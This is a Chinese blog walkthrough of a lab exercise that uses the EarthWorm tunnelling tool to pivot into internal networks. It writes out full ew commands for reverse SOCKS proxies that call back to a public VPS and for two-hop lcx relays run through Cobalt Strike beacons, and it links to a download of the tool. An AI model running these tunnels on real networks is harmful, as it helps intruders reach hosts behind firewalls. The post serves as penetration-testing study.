返回顶部

EarthWorm内网穿透(结合前2天学的smb上线不出网机器完成一级与二级流量代理)

题记

       这几天一直在qq群听人讨论ew,就想着说的人多的工具肯定是好工具,于是打算尝试用一下这个内网大杀器,一开始找工具就遇到难题,作者好像觉得这个工具被用在渗透上停止分享了,终于在别人博客里找到了下载路径。https://www.lanzous.com/i78bvvi。总的体验下来我觉得他比frp还简单,真是一条好蚯蚓啊,钻的隧道真不戳。

准备工作

       实验一:一台外网vps(103.234.72.5),内网两台用于验证成功(192.168.1.200是win10,用于搭建ew服务端。192.168.1.132是win8的靶场集合,各个端口对应不同的靶场,验证全局代理成功。)

       实验二:一台外网vps(103.234.72.5),(192.168.1.3是win8,为目标代理主机。192.168.1.132是win8的靶场集合,各个端口对应不同的靶场,也是流量中转机器。)

基础知识点

       基础知识很重要,可以结合命令自己在本上写写画画,很快就清晰了。

       目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

              ssocksd、rcsocks、rssocks、lcx_slave、lcx_tran、lcx_listen

       其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

0x01 socks代理

       ssocksd:用来开启Socks5代理服务

       rssocks:本地启用Socks5服务,并反弹到另一IP地址

       rcsocks:接收反弹过来的Socks5服务,并转向另一端口 其余的lcx链路状态用于打通测试主机同socks服务器之间的通路。

0x02 lcx 类别管道

       lcx_slave,lcx_listen:端口转发

       lcx_tran:端口映射

       lcx_tran:该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。

       lcx_slave:该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。

       lcx_listen:该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

       通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

0x03 参数

       -l 开放指定端口监听

       -d 指定转发或反弹的主机地址

       -e 指定转发或反弹的主机端口

       -f 指定连接或映射的主机地址

正向socks5服务器

       当目标网络边界存在公网IP且可任意开监听端口

       ./ew_linux_x64 -s ssocksd -l 8888

       可在该目标机器上开启一个8888的正向连接,然后其他主机可通过设置代理为目标主机ip:8888 ,添加这个代理就可以使用了

 

 

 

 

反向socks5服务器

服务器(外网vps)

       Xftp把ew传到vps

       ./ew_linux_x64 -s rcsocks -l 1080 -e 5555

       解释:把1080端口收到的请求转发给5555端口。

目标主机

       通过CS把ew传到目标主机上,在指定目录输入命令

              shell C:\Users\admin\Downloads\ew\release\ew_win32.exe -s rssocks -d 103.234.72.5 -e 5555

       解释:在目标主机启动服务,反弹到公网主机的5555端口。

       挂上代理就成功了,可以访问内网了。

二级网络环境(一)(这种是先日外网服务器在进内网,因为这里没环境,不实操)

       假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。

       先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下

              shell C:\ew\release\ew_win32.exe -s ssocksd -l 8888

       然后在A主机上执行

              ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

       意思是把1080端口收到的代理请求转交给B主机(192.168.152.138)的8888端口

       然后my pc就可以通过A的外网代理10.129.72.168:1080访问B

二级网络环境(二)(这种是无外网ip,上线后进行内网穿透。这次实际完成这个。)

       假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,可访问b,无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

1、先在公网vps添加转接隧道,把10800端口收到的代理请求转给8888端口

       ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2、在B主机上正向开启9999端口

       ew_for_Win.exe -s ssocksd -l 9999

3、在主机A上利用lcx_slave,把公网vps的8888端口和主机B的9999端口连接起来

       ew_for_Win.exe -s lcx_slave -d 公网VPS -e 8888 -f 192.168.153.138 -g 9999

4、此时my pc可以通过访问公网vps的10800端口来使用B主机(192.168.153.138)提供的9999端口访问到A主机

       理论是上面这个理论,下面我来实操一下,我这次采用我昨天学的smbbeacon控制两台主机,在搞代理,这意思就是代理两层了。

实操

       先上线132,在smbbeacon上线.3。

       遇到坑了:这里需要把2个机器的防火墙关了,要不它拦我流量。

       ./ew_linux_x64 -s lcx_listen -l 10800 -e 8888vps运行这个,10800流量转到8888端口)

       shell C:\ew\release\ew_win32.exe -s ssocksd -l 9999.3运行这个,向外开启9999代理)

       shell C:\release\ew_win32.exe -s lcx_slave -d 103.234.72.5 -e 8888 -f 192.168.1.3 -g 9999(一边连vps8888端口,一边连.39999端口)

       代理成功。

参考文章

       http://blog.csdn.net/Z_Z_W_/article/details/104411564?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-15.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-15.control

posted @ 2021-01-21 13:32  11阳光  阅读(1344)  评论(0编辑  收藏  举报